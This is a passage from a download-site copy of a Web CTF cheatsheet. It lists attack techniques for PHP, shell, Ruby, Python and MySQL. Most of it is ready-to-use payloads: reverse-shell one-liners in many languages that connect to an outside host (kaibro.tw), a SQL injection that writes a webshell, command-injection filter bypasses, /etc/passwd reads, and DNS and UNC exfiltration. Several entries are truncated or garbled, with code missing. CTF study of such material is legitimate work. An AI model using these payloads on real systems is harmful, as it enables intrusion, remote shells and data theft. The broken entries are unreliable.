剑庭安
首页
黑客安全首页全部安全栏目 黑客技术黑客技术、渗透测试、漏洞利用工具与教程 安全软件安全工具、扫描器、检测与审计软件 病毒分析恶意软件分析、样本、逆向与沙箱 CTF思路CTF 题目、writeup、解题思路与工具 防护思路防御技术、加固、检测响应与蓝队 红蓝攻防红队攻击模拟、蓝队对抗、攻防演练 漏洞知识库漏洞、CVE、PoC、EXP 与安全研究
逆向|反编译
PHP源码PHP 网站源码、程序、系统 APP源码安卓/iOS APP 源码 ASP源码ASP 网站源码与程序 NET源码.NET 网站源码与系统 小程序源码微信/支付宝小程序源码 Dedecms风格模板Dedecms 织梦风格模板 Empirecms风格模板EmpireCMS 帝国风格模板 Discuz商业模板/插件Discuz 商业模板与插件 WordPress主题/插件WordPress 主题与插件 其它源码、模板其它各类源码与模板 游戏源码游戏源码与引擎项目 加密货币源码加密货币、区块链、钱包、USDT/比特币相关源码与工具 手游源码手机游戏源码、服务端、客户端与引擎项目 传奇源码热血传奇、传奇世界、复古传奇等客户端/服务端/引擎源码 页游源码网页游戏、H5 游戏、浏览器游戏源码 端游源码电脑单机游戏、PC 网游客户端/服务端源码
最新万能免驱动支持所有型号打印机下载程序 日历天气老黄历 · 每天同步真实日期与天气
站长工具站长工具 自助开通会员浏览该分类 其他资源qtziy SEO工具SEO工具 站群源码站群源码 泛程序泛程序 蜘蛛模板蜘蛛模板 蜘蛛池蜘蛛池 外链工具外链工具
搜索 自助开通会员🔓 破甲 API
登录 注册
首页 分类列表 CTF思路 Web-CTF-Cheatsheet - Web CTF…
Web-CTF-Cheatsheet - Web CTF CheatSheet 🐈 CTF思路 点击放大
作者:admin 发布:2026-10-05

Web-CTF-Cheatsheet - Web CTF CheatSheet 🐈

项目说明WEB CTF CheatSheet===Table of Contents=================* Webshell* Reverse Shell* PHP Tag* PHP Weak Type* PHP Feature * Bypass open\_basedir * Byp…
资源可下载 免费下载 0 条讨论
会员资源
开通会员后即可下载全部资源。
登录后开通会员
会员方案
382浏览量
0讨论
2下载链接
可下载资源状态
内容可验证
更新 2026-10-05
人工审核发布
评论区答疑

Web-CTF-Cheatsheet - Web CTF CheatSheet 🐈

Web-CTF-Cheatsheet - Web CTF CheatSheet 🐈

项目说明

WEB CTF CheatSheet
===

Table of Contents
=================

* Webshell
* Reverse Shell
* PHP Tag
* PHP Weak Type
* PHP Feature
* Bypass open\_basedir
* Bypass disable\_functions
* Command Injection
* Bypass Space
* Bypass Keyword
* ImageMagick
* Ruby Command Executing
* Python Command Executing
* SQL Injection
* MySQL
* MSSQL
* Oracle
* SQLite
* Postgresql
* MS Access
* LFI
* Upload
* Serialization
* PHP Serialize
* Python Pickle
* Ruby Deserialization
* Ja
* .NET Serialization
* SSTI / CSTI
* Flask/Jinja2
* Twig/Symfony
* Thymeleaf
* Freemarker
* Golang
* AngularJS
* Vue.js
* Python
* Tool
* SSRF
* Bypass
* Local Expolit
* Remote Expolit
* Metadata
* CRLF Injection
* Finger Print
* XXE
* Out of Band XXE
* Error-based XXE
* Prototype Pollution
* Frontend
* XSS
* RPO
* CSS Injection
* XS-Leaks
* DOM Clobbering
* Crypto
* PRNG
* ECB mode
* CBC mode
* Length Extension Attack
* Others
* Tools and Website
* Information Gathering
* Hash Crack

Webshell

PHP Webshell

webshell駐留記憶體

解法:restart

無文件webshell

解法:restart

JSP Webshell

  • 無回顯:
  • 有回顯:
  • Unicode webshell:
  • (效果同 <%Runtime.getRuntime().exec(request.getParameter("i"));%>)

  • JSPX webshell:
  • CP037 webshell:
  • (效果同上 JSPX webshell: Runtime.getRuntime().exec(request.getParameter("i"));)

  • EL webshell:
  • ASP Webshell

    ASPX Webshell

  • 一般:
  • 上傳:
  • Reverse Shell

  • 本機Listen Port

  • - ncat -vl 5566

  • Perl

  • - perl -e 'use Socket;$i="kaibro.tw";$p=5566;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'

  • Bash

  • - bash -i >& /dev/tcp/kaibro.tw/5566 0>&1
    - bash -c 'bash -i >& /dev/tcp/kaibro.tw/5566 0>&1'
    - 0<&196;exec 196<>/dev/tcp/kaibro.tw/5566; sh <&196 >&196 2>&196

  • PHP

  • - php -r '$sock=fsockopen("kaibro.tw",5566);exec("/bin/sh -i <&3 >&3 2>&3");'

  • NC

  • - nc -e /bin/sh kaibro.tw 5566

  • Telnet

  • - mknod backpipe p && telnet kaibro.tw 5566 0<backpipe | /bin/bash 1>backpipe

  • Python

  • - python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("kaibro.tw",5566));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

  • Ruby

  • - ruby -rsocket -e 'exit if fork;c=TCPSocket.new("kaibro.tw","5566");while(cmd=c.gets);IO.popen(cmd,"r"){|io|c.print io.read}end'

  • Node.js

  • - var net = require("net"), sh = require("child_process").exec("/bin/bash"); = new net.Socket(); client.connect(5566, "kaibro.tw", function(){client.pipe(sh.stdin);sh.stdout.pipe(client); sh.stderr.pipe(client);});
    - require('child_process').exec("bash -c 'bash -i >& /dev/tcp/kaibro.tw/5566 0>&1'");

  • Java

  • - Runtime r = Runtime.getRuntime();Process p = r.exec(new String[]{"/bin/bash","-c","exec 5<>/dev/tcp/kaibro.tw/5278;cat <&5 | while read line; do $line 2>&5 >&5; done"});p.waitFor();
    - java.lang.Runtime.exec() payload generator:

  • Powershell

  • - powershell IEX (New-Object System.Net.Webclient).DownloadString(');powercat -c kaibro.tw -p 5566 -e cmd

    PHP Tag

  • <? ?>

  • - short_open_tag 決定是否可使用短標記
    - 或是編譯php時 --enable-short-tags
  • <?=

  • - 等價 <? echo
    - 自PHP 5.4.0起,always work!
  • <% %>、<%=

  • - 自PHP 7.0.0起,被移除
    - 須將asp_tags設成On
  • <script language="php"

  • - 自PHP 7.0.0起,被移除
    - <script language="php">system("id"); </script>

    PHP Weak Type

  • ('0xABCdef' == ' 0xABCdef');

  • * true (Output for hhvm-3.18.5 - 3.22.0, 7.0.0 - 7.2.0rc4: false)

  • ('0010e2' == '1e3’);

  • - true
  • strcmp([],[])

  • - 0
  • sha1([])

  • - NULL
  • '123' == 123

  • 'abc' == 0

  • '123a' == 123

  • '0x01' == 1

  • - PHP 7.0 後,16 進位字串不再當成數字
    - e.g ('0x01' == 1) => false
  • '' == 0 == false == NULL

  • md5([1,2,3]) == md5([4,5,6]) == NULL

  • - 可用在登入繞過 (用戶不存在,則 password 為 NULL)
  • (md5(240610708));

  • - 0e88736854
  • (sha1());

  • - 0e02244
  • $a="123"; $b="456"

  • - $a + $b == "579";
    - $a . $b == "123456"

  • $a = 0; $b = 'x';

  • - $a == false => true
    - $a == $b => true
    - $b == true => true

  • $a = 'a'

  • - ++$a => 'b'
    - $a+1 => 1

    PHP 其他特性

    O

  • 32位元

  • - intval('00') => 2147483647
  • 64位元

  • - intval('0000000000') => 54775807

    浮點數精度

  • php -r "(1.000000000000001 == 1);"

  • - false

  • php -r "(1.0000000000000001 == 1);"

  • - true

  • $a = 0.1 * 0.1; ($a == 0.01);

  • - false

    ereg會被NULL截斷

  • (ereg("^[a-zA-Z0-9]+$", "1234\x00-!@#%"));

  • - 1
  • ereg 和 eregi 在 PHP 7.0.0 已經被移除
  • intval

  • 四捨五入

  • - (intval('5278.8787'));
    - 5278
  • intval(012) => 10

  • intval("012") => 12
  • extract變數覆蓋

  • extract($_GET);

  • - .php?_SESSION[name]=admin
    - echo $_SESSION['name'] => 'admin'

    trim

  • 會把字串前後的空白(或其他字元)去掉

  • 未指定第二參數,預設會去掉以下字元

  • - " " (0x20)
    - "\t" (0x09)
    - "\n" (0x0A)
    - "\x0B" (0x0B)
    - "\r" (0x0D)
    - "\0" (0x00)
  • 可以發現預設不包含 "\f" (0x0C)

  • - 比較:is_numeric() 允許 \f 在開頭
  • 如果參數是 unset 或空的變數,回傳值是空字串
  • is_numeric

  • is_numeric(" \t\r\n 123") => true
  • is_numeric(' 87') => true

  • is_numeric('87 ') => false

  • is_numeric(' 87 ') => false

  • is_numeric('0xdeadbeef')

  • - PHP >= 7.0.0 => false
    - PHP < 7.0.0 => true
    - 可以拿來繞過注入
  • 以下亦為合法(返回 True)字串:

  • - ' -.0'
    - '0.'
    - ' +2.1e5'
    - ' -1.5E+25'
    - '1.e5'

    in_array

  • in_array('5 or 1=1', array(1, 2, 3, 4, 5))

  • - true
  • in_array('kaibro', array(0, 1, 2))

  • - true
  • in_array(array(), array('kai'=>false))

  • - true
  • in_array(array(), array('kai'=>null))

  • - true
  • in_array(array(), array('kai'=>0))

  • - false
  • in_array(array(), array('kai'=>'bro'))

  • - false
  • in_array('kai', array('kai'=>true))

  • - true
  • in_array('kai', array('kai'=>'bro'))

  • - false
  • in_array('kai', array('kai'=>0))

  • - true
  • in_array('kai', array('kai'=>1))

  • - false

    array_search

  • mixed array_search(mixed $needle , array $haystack [, bool $strict = false ])

  • - 在 haystack 陣列中,搜尋 needle 的值,成功則返回 index,失敗返回 False
  • $strict 為 false 時,採用不嚴格比較

  • - 預設是 False
  • Example

  • - $arr=array(1,2,0); (array_search('kai', $arr))
    - int(2)
    - $arr=array(1,2,0); (array_search('1', $arr))
    - int(0)

    parse_str


  • parse_str(string, array)

  • 會把查詢字串解析到變數中

  • 如果未設置第二個參數,會解析到同名變數中

  • - PHP7.2 中不設置第二個參數會產生E_DEPRECATED警告
  • parse_str('gg[kaibro]=5566');
  • PHP 變數有空格和.,會被轉成底線
  • parse_url

  • 在處理傳入的 URL 會有問題

  • parse_url('/a.php?id=1')
  • parse_url('//a/b')

  • - host: a
  • parse_url('..//a/b/c:80')

  • - host: ..
    - port: 80
    - path: //a/b/c:80
  • parse_url('///a.php?id=1')

  • - false

  • parse_url('/a.php?id=1:80')

  • - PHP < 7.0.0
    - false
    - PHP >= 7.0.0

  • parse_url(')

  • - 5.3.X版本以下

    - 其他: false

    preg_replace

  • mixed preg_replace ( mixed $pattern , mixed $replacement , mixed $subject [, int $limit = -1 [, int &$count ]] )

  • - 搜尋 $subject 中匹配的 $pattern,並用 $replacement 替換
  • 第一個參數用 /e 修飾符,$replacement 會被當成 PHP code 執行

  • - 必須有匹配到才會執行
    - PHP 5.5.0 起,會產生 E_DEPRECATED 錯誤
    - PHP 7.0.0 不再支援,用 preg_replace_callback() 代替

    example:

    sprintf /

  • 對格式化字串的類型沒檢查

  • 格式化字串中 % 後面的字元(除了 % 之外)會被當成字串類型吃掉

  • - 例如 %\、%'、%1$\'
    - 在某些 SQLi 過濾狀況下,%' and 1=1# 中的單引號會被轉義成 \',%\ 又會被吃掉,' 成功逃逸
    - 原理:sprintf 實作是用 switch...case...
    - 碰到未知類型,default 不處理

    file_put_contents

  • 第二個參數如果是陣列,PHP會把它串接成字串

  • example:
  • - 可以直接?txt[]=<?php phpinfo(); ?>寫入

    spl_autoload_register

  • spl_autoload_register() 可以自動載入 Class

  • 不指定參數,會自動載入 .inc 和 .php

  • Example:

  • - 如果目錄下有 kaibro.inc,且內容為 class Kaibro{...}
    - 則 spl_autoload_register() 會把這個 Class 載入進來

    路徑正規化

  • a.php/.

  • - file_put_contents("a.php/.", "<?php phpinfo() ?>");
    - 可成功寫入
    - 經測試 Windows 可以覆寫、Linux 無法
    - 可以繞過一些正規表達式判斷
    - file_get_contents("a.php/.");
    - 經測試 Windows 下可成功讀、Linux 無法
    - 還有很多其他 function 也適用
  • " => .

  • - a"php
  • > => ?

  • - a.p>p
    - a.>>>
  • < => *

  • - a.<

    URL query decode


  • $_GET 會對傳入的參數做 URLdecode 再返回

  • $_SERVER['REQUEST_URI'] 和 $_SERVER['QUERY_STRING'] 則是直接返回
  • Example:

    Request:

    * $_GET: [url] => gg

    * $_SERVER['REQUEST_URI']: /test.php?url=%67%67

    * $_SERVER['QUERY_STRING']: url=%67%67

    OPcache

  • 透過將 PHP 腳本編譯成 Byte code 的方式做 Cache 來提升性能

  • 相關設定在 php.ini 中

  • - opcache.enable 是否啟用
    - opcache.file_cache 設定 cache 目錄
    - 例如:opcache.file_cache="/tmp/opcache"
    - /var/www/index.php 的暫存會放在 /tmp/opcache/[system_id]/var/www/index.php.bin
    - opcache.file_cache_only 設定 cache 文件優先級
    - opcache. 是否啟用 timestamp 驗證
  • system_id 是透過 Zend 和 PHP 版本號計算出來的,可以確保相容性

  • 所以在某些條件下可透過上傳覆蓋暫存文件來寫 webshell

  • - system_id 要和目標機器一樣
    - timestamp 要一致

  • - Disassembler 可以把 Byte code 轉成 Pseudo code

  • Example

  • - 0CTF 2018 Qual - EzDoor

    PCRE回溯次數限制繞過

  • PHP 的 PCRE 庫使用 NFA 作為正規表達式引擎

  • - NFA 在匹配不上時,會回溯嘗試其他狀態
  • PHP 為防止 DOS,設定了 PCRE 回溯次數上限

  • - pcre.backtrack_limit
    - 預設為 1000000
  • 回溯次數超過上限時,preg_match() 會返回 false

  • Example

  • - Code-Breaking Puzzles - pcrewaf
    - N1CTF 2019 - sql_manage

    open_basedir繞過

  • glob 列目錄
  • phuck3
  • symlinks
  • Fastcgi

  • - link

  • ...
  • disable_functions繞過

  • bash shellshock

  • mail()

  • - sendmail
    - puten
    - trick: LD_PRELOAD without sendmail/getuid()

  • mb_send_mail()

  • - 跟 mail() 基本上一樣

  • imap_mail()

  • - 同上

  • imap_open()
  • error_log()

  • - 第二個參數 message_type 為 1 時,會去調用 sendmail

  • ImageMagick

  • - Command Injection
    - LD_PRELOAD + ghostscript:
    - Imagemagick 會用 ghostscript去parse eps
    - Link
    - LD_PRELOAD + ffpmeg
    - Link
    - MAGICK_CODER_MODULE_PATH
    - > it can permits the user to arbitrarily extend the image formats supported by ImageMagick by adding loadable coder modules from an preferred location rather than copying them into the ImageMagick installation directory
    - Document
    - Link
    - MAGICK_CONFIGURE_PATH
    - delegates.xml 定義處理各種文件的規則
    - 可以用 putenv 寫掉設定檔路徑
    - Link

    - 蓋PATH + ghostscript:
    - 造一個執行檔 gs

  • dl()

  • - 載入 module
    - dl("rce.so")
    - This function was removed from most SAPIs in PHP 5.3.0, and was removed from PHP-FPM in PHP 7.0.0.

  • FFI

  • - PHP 7.4 feature
    - preloading + ffi
    - e.g. RCTF 2019 - nextphp

  • FastCGI Extension
  • Windows COM

  • - 條件
    - com.allow_dcom = true
    - extension=php_com_dotnet.dll
    - PoC:

  • iconv

  • -
    - 條件
    - 可以上傳 .so, gcon
    - 可以設定環境變數
    - iconv(), icon(), php://filter的convert.iconv

  • l3mon/Bypass_Disable_functions_Shell
  • JSON UAF Bypass

  • - 7.1 - all to date
    - 7.2 < 7.2.19 (released: 30 May 2019)
    - 7.3 < 7.3.6 (released: 30 May 2019)
  • GC Bypass

  • - 7.0 - all to date
    - 7.1 - all to date
    - 7.2 - all to date
    - 7.3 - all to date

  • Backtrace Bypass

  • - 7.0 - all to date
    - 7.1 - all to date
    - 7.2 - all to date
    - 7.3 - all to date
    - 7.4 - all to date

  • PHP SplDoublyLinkedList UAF Sandbox Escape

  • -
    - Affected
    - PHP 8.0 (alpha)
    - PHP 7.4.10 and prior (probably also future will be affected)
    - Example
    - RealWorld CTF 3rd - MoP2021

  • 族繁不及備載......
  • 其他

  • 大小寫不敏感

  • - <?PhP sYstEm(ls);
  • echo (true ? 'a' : false ? 'b' : 'c');

  • - b

  • - kaibro
  • 正規表達式 . 不匹配換行字元 %0a

  • 正規表達式常見誤用:

  • - preg_match("/\\/", $str)
    - 匹配反斜線應該要用 \\\\ 而不是 \\
  • 運算優先權問題

  • - $a = true && false;
    - $a => false
    - $a = true and false;
    - $a => true
  • chr()

  • - 大於 256 會 mod 256
    - 小於 0 會加上 256 的倍數,直到 >0
    - Example:
    - chr(259) === chr(3)
    - chr(-87) === chr(169)

  • 遞增

  • - $a="9D9"; (++$a);
    - string(3) "9E0"
    - $a="9E0"; (++$a);
    - float(10)

  • 算數運算繞Filter

  • - %f3%f9%f3%f4%e5%ed & %7f%7f%7f%7f%7f%7f
    - system
    - 可用在限制不能出現英數字時 or 過濾某些特殊符號
    -
    - assert
    - 其他
    - ~, ++等運算,也都可用類似概念構造

  • 花括號

  • - 陣列、字串元素存取可用花括號
    - $array{index} 同 $array[index]

  • filter_var

  • - filter_var(' FILTER_)
    - False
    - filter_var('0://evil.com;google.com', FILTER_)
    - True
    -
    - "aaaaa{}[]()'|!#$%*&^-_=+,."@b.c (OK)
    -
    filter_var('aaa."bbb"@b.c',FILTER_)
    -
    aaa."bbb"@b.c (OK)
    -
    filter_var('aaa"bbb"@b.c',FILTER_)
    - False

  • json_decode

  • - 不直接吃換行字元和 \t 字元
    - 但可以吃 '\n' 和 '\t'
    - 會轉成換行字元和 Tab
    - 也吃
    \uxxxx形式
    -
    json_decode('{"a":"\u0041"}')

  • === bug

  • -
    ([0 => 0] === [0x100000000 => 0])
    - 某些版本會是 True
    - ASIS 2018 Qual Nice Code
    -
  • openssl_

  • - 預測採用 SHA1 來做簽名,可能有 SHA1 Collision 問題
    - e.g. DEFCON CTF 2018 Qual - EasyPisy
  • Namespace

  • - PHP 的預設 Global space 是
    \
    - e.g.
    \system('ls');

  • basename (php bug 62119)

  • -
    basename("index.php/config.php/喵")
    -
    config.php
    - Example: zer0pts CTF 2020 - Can you guess it?

  • strip_tags (php bug 78814)

  • - php <= 7.4.0
    -
    strip_tags("<s/trong>b</strong>", "<strong>")
    -
    <s/trong>b</strong>
    - Example: zer0pts CTF 2020 - MusicBlog

  • mb_strpos / mb_substr

  • - 當
    mb_strpos 讀到 utf-8 leading byte ,他會繼續嘗試往下讀; 遇到 invalid byte 時,前面的內容會被當成一個 character
    - Example:
    mb_strpos("\xf0\x9fAAA<BB", '<') -> 4
    - 而
    mb_substr 則有不一致,當遇到 leading byte 時,會跳過 continuation bytes
    - Example:
    mb_substr("\xf0\x9fAAA<BB", 0, 4) -> "\xf0\x9fAAA<B"
    - ref: Joomla XSS
  • Reflection

  • - PHP8.1 Reflection 可以呼叫 protected/private 函數

    - ref

    Command Injection

    ? and *


  • ? match one character

  • -
    cat fl?g
    -
    /???/??t /???/p??s??
  • * match 多個

  • -
    cat f*
    -
    cat f?a*

    空白繞過

  • ${IFS}

  • -
    cat${IFS}flag
    -
    ls$IFS-alh
    -
    cat$IFS$2flag
  • cat</etc/passwd

  • {cat,/etc/passwd}

  • X=$'cat\x20/etc/passwd'&&$X


  • - bash only

    Keyword繞過

  • String Concat

  • -
    A=fl;B=ag;cat $A$B
  • Empty

  • -
    cat fl${x}ag
    -
    cat tes$(z)t/flag

  • En

  • -
    $PATH => "/usr/local/….blablabla”
    -
    ${PATH:0:1} => '/'
    -
    ${PATH:1:1} => 'u'
    -
    ${PATH:0:4} => '/usr'
    -
    ${PS2}
    -
    >
    -
    ${PS4}
    -
    +
  • Empty String

  • -
    cat fl""ag
    -
    cat fl''ag
    -
    cat "fl""ag"

  • 反斜線

  • -
    c\at fl\ag

    ImageMagick

  • C (ImageTragick)

  • -
    mvg 格式包含 https 處理(使用 curl 下載),可以閉合雙引號
    - payload:

  • Example

  • - Google CTF 2019 - GPhotos
    -
    Some Debians appear to ha ImageMagick configuration by default
    - read file:

    - copy file (MSL):

    - TokyoWesterns CTF 2018 - Slack emoji con
    - ghostscript RCE
    - TokyoWesterns CTF 2019 - Slack emoji con Kai)
    - ghostscript RCE

    Ruby Command Executing

  • open("| ls")

  • IO.popen("ls").read

  • Kernel.exec("ls")

  • Kernel.method("open").call("|ls").read()


  • system("ls")

  • eval("ruby code")

  • - Non-Alphanumeric example: HITCON CTF 2015 - Hard to say
    -
    $$/$$ => 1
    -
    '' << 97 << 98 << 99 => "abc"
    -
    $:即$LOAD_PATH
  • exec("ls")

  • %x{ls} / %x'ls' / %x[ls] / %x(ls) / %x;ls;

  • "Process".constantize.spawn("id")

  • Process.spawn("id")

  • PTY.spawn("id")

  • Net::FTP

  • - C
    - use
    Kernel#open

    Python Command Executing


  • os.system("ls")

  • os.popen("ls").read()

  • os.execl("/bin/ls","")

  • os.execlp("ls","")

  • os.execv("/bin/ls",[''])

  • os.execvp("/bin/ls",[""])

  • subprocess.call("ls")

  • -
    subprocess.call("ls|cat",shell=False) => Fail
    -
    subprocess.call("ls|cat",shell=True) => Correct
  • eval("__import__('os').system('ls')")

  • exec("__import__('os').system('ls')")

  • commands.getoutput('ls')
  • Read File

  • diff /etc/passwd /flag

  • paste /flag

  • bzmore /flag

  • bzless /flag

  • static-sh /flag

  • ...
  • SQL Injection

    MySQL

  • 子字串:

  • -
    substr("abc",1,1) => 'a'
    -
    mid("abc", 1, 1) => 'a'
  • Ascii function

  • -
    ascii('A') => 65
  • Char function

  • -
    char(65) => 'a'
  • Concatenation

  • -
    CONCAT('a', 'b') => 'ab'
    - 如果任何一欄為 NULL,則返回 NULL
    -
    CONCAT_WS(分隔符, 字串1, 字串2...)
    -
    CONCAT_WS('@', 'gg', 'inin') => gg
  • Cast function

  • -
    CAST('125e342.83' AS signed) => 125
    -
    CONVERT('23',SIGNED) => 23
  • Delay function

  • -
    sleep(5)
    -
    BENCHMARK(count, expr)
  • 空白字元

  • -
    09 0A 0B 0C 0D A0 20
  • File-read function

  • -
    LOAD_FILE('/etc/passwd')
    -
    LOAD DATA INFILE
    - Client 讀 Server 文件
    - 一樣受
    secure_file_priv, FILE pri 限制 (ref: link)
    -
    LOAD DATA LOCAL INFILE
    - Server 讀 Client 文件
    -
    LOAD DATA LOCAL INFILE '/etc/hosts' INTO TABLE test FIELDS TERMINATED BY "\n";
    - 不需要
    FILE pri,且任意目錄檔案皆可讀 (只要 Client 有權限即可)
    - support UNC Path
    -
    LOAD DATA LOCAL INFILE '\\\\172.16.136.153\\test' into table mysql.test FIELDS TERMINATED BY "\n";
    - stealing net-NTLM hash
    - Trigger phar deserialization
    -
    LOAD DATA LOCAL INFILE 'phar://test.phar/test' INTO TABLE a LINES TERMINATED BY '\n'
    - 非 default 設置

    - Tool
    - Rogue-MySQL-Server
    - MysqlClientAttack
    - Example
    - N1CTF 2019 - sql_manage
    - HITCON 2019 - GoGoPowerSQL
    - 0CTF 2018 Final - h4x0rs.club
    - 2018 - Corp Monitoring
    - load_file with WebDAV
    -
    load_file('//kaibro.tw@9478/meow.php') / load_file('\\\\kaibro.tw@9478/meow.php')
    - Windows 環境有開 WebClient Service 時,可以透過 MySQL load_file + UNC Path 發送 HTTP Reuqest 到指定 URL (透過
    @ 指定 Port)
    - 實戰中,站庫分離環境,若後端 MySQL 主機有開 Web 環境,則可透過該方法先寫 webshell 再送 http request 觸發執行
    - Example
    - Balsn CTF 2023 - ginowa

  • File-write

  • -
    INTO DUMPFILE
    - 適用 binary (寫入同一行)
    -
    INTO OUTFILE
    - 適用一般文本 (有換行)
    - 寫webshell
    - 需知道可寫路徑
    -
    UNION SELECT "<? system($_GET[1]);?>",2,3 INTO OUTFILE "/var/www/html/temp/shell.php"
    - 權限
    -
    SELECT file_priv FROM mysql.user
    - secure-file-priv
    - 限制 MySQL 導入導出
    - load_file, into outfile, load data 等
    - 運行時無法更改
    - MySQL 5.5.53 前,該變數預設為空(可以導入導出)
    - e.g.
    secure_file_priv=E:\
    - 限制導入導出只能在 E:\ 下
    - e.g.
    secure_file_priv=null
    - 限制不允許導入導出
    - secure-file-priv 限制下用 general_log 拿 shell

  • IF語句

  • - IF(condition,true-part,false-part)
    -
    SELECT IF (1=1,'true','false')
  • Hex

  • -
    SELECT X'5061756c'; => paul
    -
    SELECT 0x5061756c; => paul
    -
    SELECT 0x5061756c+0 => 1348564332
    -
    SELECT load_file(0x2F6574632F4);
    - /etc/passwd
    - 可繞過一些 WAF
    - e.g. 用在不能使用單引號時(
    ' => \')
    - CHAR() 也可以達到類似效果
    -
    'admin' => CHAR(97, 100, 109, 105, 110)
  • 註解:

  • -
    #
    -
    --
    -
    /**/
    - 一個
    */ 可以閉合前面多個 /*
    -
    /*! 50001 select * from test */
    - 可探測版本
    - e.g.
    SELECT /*!32302 1/0, */ 1 FROM tablename
    -

    - MySQL <= 5.5
    - ;
    - PDO 支援多語句
  • information_schema

  • - mysql >= 5.0
  • Stacking Query

  • - 預設 PHP+MySQL 不支援 Stacking Query
    - 但 PDO 可以 Stacking Query
  • 其它:

  • - @@
    - 同 ()
    - user()
    - current_user
    - current_user()
    - SESSION_USER()
    - SYSTEM_USER()
    - current user
    - system_user()
    - database system user
    - database()
    - schema()
    - current database
    - @
    - MySQL 安裝路徑
    - @
    - Location of db file
    - @
    - @
    - @@
    - Operating System
    - @@
    - @
    - @.secure_file_priv
    - MD5()
    - SHA1()
    - COMPRESS() / UNCOMPRESS()
    - group_concat()
    - 合併多條結果
    - e.g. select group_concat(username) from users; 一次返回所有使用者名
    - group_concat_max_len = 1024 (default)
    - json_arrayagg()
    - MySQL >= 5.7.22
    - 概念同上
    - e.g. SELECT json_arrayagg(concat_ws(0x3a,table_schema,table_name)) from INFORMATION_SCHEMA.TABLES
    - greatest()
    - greatest(a, b)返回 a, b 中最大的
    - greatest(1, 2)=2
    - 1
    - greatest(1, 2)=1
    - 0
    - between a and b
    - 介於 a 到 b 之間
    - greatest(1, 2) between 1 and 3
    - 1
    - regexp
    - SELECT 'abc' regexp '.*'
    - 1
    - Collation
    - *_ci case insensiti 不區分大小寫
    - *_cs case sensiti 區分大小寫
    - *_bin binary case sensiti 區分大小寫

  • Union Based

  • - 判斷 column 數
    - union select 1,2,3...N
    - order by N 找最後一個成功的 N
    - AND 1=2 UNION SELECT 1, 2, password FROM admin--+
    - LIMIT N, M 跳過前 N 筆,抓 M 筆
    - 爆資料庫名
    - union select 1,2,schema_name from information_schema.schemata limit 1,1
    - 爆表名
    - union select 1,2,table_name from information_schema.tables where table_schema='mydb' limit 0,1
    - union select 1,2,table_name from information_schema.columns where table_schema='mydb' limit 0,1
    - 爆Column名
    - union select 1,2,column_name from information_schema.columns where table_schema='mydb' limit 0,1
    - MySQL User
    - SELECT CONCAT(user, ":" ,password) FROM mysql.user;
  • Error Based

  • - 長度限制
    - 錯誤訊息有長度限制
    - #define ERRMSGSIZE (512)
    - O
    - MySQL > 5.5.5 o 才會有錯誤訊息
    - SELECT ~0 => 709551615
    - SELECT ~0 + 1 => ERROR
    - SELECT exp(709) => 8.4972e307
    - SELECT exp(710) => ERROR
    - 若查詢成功,會返回0
    - SELECT exp(~(SELECT * FROM (SELECT user())x));
    - ERROR 1690(22003):DOUBLE value is out of range in 'exp(~((SELECT 'root' FROM dual)))'
    - select (select(!x-~0)from(select(select user())x)a);
    - ERROR 1690 (22003): BIGINT UNSIGNED value is out of range in '((not('root')) - ~(0))'
    - MySQL > 5.5.53 不會顯示查詢結果
    - xpath
    - extractvalue (有長度限制,32位)
    - select extractvalue(1,concat(0x7e,(select @@),0x7e));
    - ERROR 1105 (HY000): XPATH syntax error: '~5.7.17~'
    - updatexml (有長度限制,32位)
    - select updatexml(1,concat(0x7e,(select @@),0x7e),1);
    - ERROR 1105 (HY000): XPATH syntax error: '~5.7.17~'
    - 主鍵重複
    - select count(*) from test group by concat((),floor(rand(0)*2));
    - ERROR 1062 (23000): Duplicate entry '5.7.171' for key '<group_key>'
    - 其它函數 (5.7)
    - select ST_LatFromGeoHash(());
    - select ST_LongFromGeoHash(());
    - select GTID_SUBSET((),1);
    - select GTID_SUBTRACT((),1);
    - select ST_PointFromGeoHash((),1);
    - 爆庫名、表名、字段名
    - 當過濾 information_schema 等關鍵字時,可以用下面方法爆庫名
    - select 1,2,3 from users where 1=abc();
    - ERROR 1305 (42000): FUNCTION fl4g.abc does not exist
    - 爆表名
    - select 1,2,3 from users where Polygon(id);
    - `select 1,2,3 from users where linestring(id);
    -
    - 爆Column
    -
    select 1,2,3 from users where (select * from (select * from users as a join users as b)as c);
    -
    ERROR 1060 (42S21): Duplicate column name 'id'
    -
    select 1,2,3 from users where (select * from (select * from users as a join users as b using(id))as c);
    -
    ERROR 1060 (42S21): Duplicate column name 'username'
  • Blind Based (Time/Boolean)

  • - Boolean
    - 「有」跟「沒有」
    -
    id=87 and length(user())>0
    -
    id=87 and length(user())>100
    -
    id=87 and ascii(mid(user(),1,1))>100
    -
    id=87 or ((select user()) regexp binary '^[a-z]')
    - Time
    - 用在啥結果都看不到時
    -
    id=87 and if(length(user())>0, sleep(10), 1)=1
    -
    id=87 and if(length(user())>100, sleep(10), 1)=1
    -
    id=87 and if(ascii(mid(user(),1,1))>100, sleep(10), 1)=1

  • Out of Bnad

  • - Windows only
    -
    select load_file(concat("\\\\",schema_name,".dns.kaibro.tw/a")) from information_schema.schemata

  • 繞過空白檢查

  • -
    id=-1//UNION//SELECT/**/1,2,3
    -
    id=-1%09UNION%0DSELECT%0A1,2,3
    -
    id=(-1)UNION(SELECT(1),2,3)

  • 寬字節注入

  • -
    addslashes() 會讓 ' 變 \'
    - 在
    GBK 編碼中,中文字用兩個 Bytes 表示
    - 其他多字節編碼也可
    - 但要低位範圍有包含
    0x5c(\)
    - 第一個 Byte 要 >128 才是中文
    -
    %df' => %df\' => 運' (成功逃逸)

  • Order by注入

  • - 可以透過
    asc、desc 簡單判斷
    -
    ?sort=1 asc
    -
    ?sort=1 desc
    - 後面不能接 UNION
    - 已知字段名 (可以盲注)
    -
    ?order=IF(1=1, username, password)
    - 利用報錯
    -
    ?order=IF(1=1,1,(select 1 union select 2)) 正確
    -
    ?order=IF(1=2,1,(select 1 union select 2)) 錯誤
    -
    ?order=IF(1=1,1,(select 1 from information_schema.tables)) 正常
    -
    ?order=IF(1=2,1,(select 1 from information_schema.tables)) 錯誤
    - Time Based
    -
